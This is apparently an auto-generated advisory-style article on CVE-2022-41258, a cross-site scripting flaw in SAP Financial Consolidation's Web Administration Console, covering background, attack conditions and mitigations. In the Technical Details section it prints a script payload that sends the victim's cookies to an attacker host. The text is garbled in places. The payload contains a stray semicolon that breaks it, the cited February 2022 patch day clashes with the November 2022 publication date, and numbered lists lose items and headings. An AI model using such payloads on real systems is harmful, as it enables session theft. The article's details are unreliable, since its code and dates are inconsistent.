The software company SAP has released a security update addressing a vulnerability in its Financial Consolidation product - version 101. This vulnerability, dubbed CVE-2022-41258, has been officially documented in the Common Vulnerabilities and Exposures (CVE) database. In this article, we'll explore the vulnerability's technical details, examine how it can be exploited, and discuss measures you can take to protect your software environment from potential attacks.

Background

SAP Financial Consolidation is an enterprise application that helps organizations streamline their financial consolidation processes and facilitate compliance with regulatory requirements. Due to insufficient input validation, the software allows authenticated attackers to inject malicious script when running a common query in the Web Administration Console. On successful exploitation, an attacker can view or modify information leading to a limited impact on the confidentiality, integrity, and availability of the application.

Technical Details

The core issue behind CVE-2022-41258 lies in the software's inadequate input validation mechanism. When running certain queries in the Web Administration Console, the SAP Financial Consolidation software accepts unfiltered input from users, making it vulnerable to Cross-Site Scripting (XSS) attacks. As a result, an attacker with valid credentials can inject malicious JavaScript code that gets executed in the context of the target user's browser.

An example of a malicious script that can be injected is shown below

<script>
  window.location.href='https://attacker.example.com/steal.php?cookie='; + document.cookie;
</script>

In this example, the attacker's script redirects the user to a controlled domain while sending the victim's cookies as a parameter. This could ultimately help the attacker steal the user's session information or perform other unauthorized actions under the user's identity.

1. SAP Security Patch Day – February 2022
2. CVE-2022-41258: Official CVE Details

For a successful attack, the following conditions must be met

1. The attacker must have valid credentials to access the Web Administration Console, either obtained through social engineering, phishing, or other means.
2. The targeted user (e.g., an administrator) must visit the console while the malicious script is active, triggering its execution.

Access and manipulate sensitive information such as financial records and user data.

2. Execute unauthorized actions under the victim's identity, leading to further compromise or disruption of the application's functionality.

Mitigation and Remediation

To protect your SAP Financial Consolidation software environment against CVE-2022-41258, it is essential to follow these steps:

1. Review the SAP Security Patch Day – February 2022 and apply the recommended security update for SAP Financial Consolidation Version 101.

Restrict access to the Web Administration Console to only trusted individuals or networks.

3. Regularly update user access controls to ensure that only authorized personnel have access to sensitive features and data.
4. Educate users about safe browsing habits, including how to identify and avoid social engineering attacks.

Conclusion

Ensuring that your software environment stays secure against vulnerabilities like CVE-2022-41258 is a crucial aspect of modern enterprise security. With effective mitigation and remediation measures in place, you can effectively reduce the risk of exploitation and maintain the confidentiality, integrity, and availability of your organization's critical applications.

Timeline

Published on: 11/08/2022 22:15:00 UTC
Last modified on: 12/21/2022 17:53:00 UTC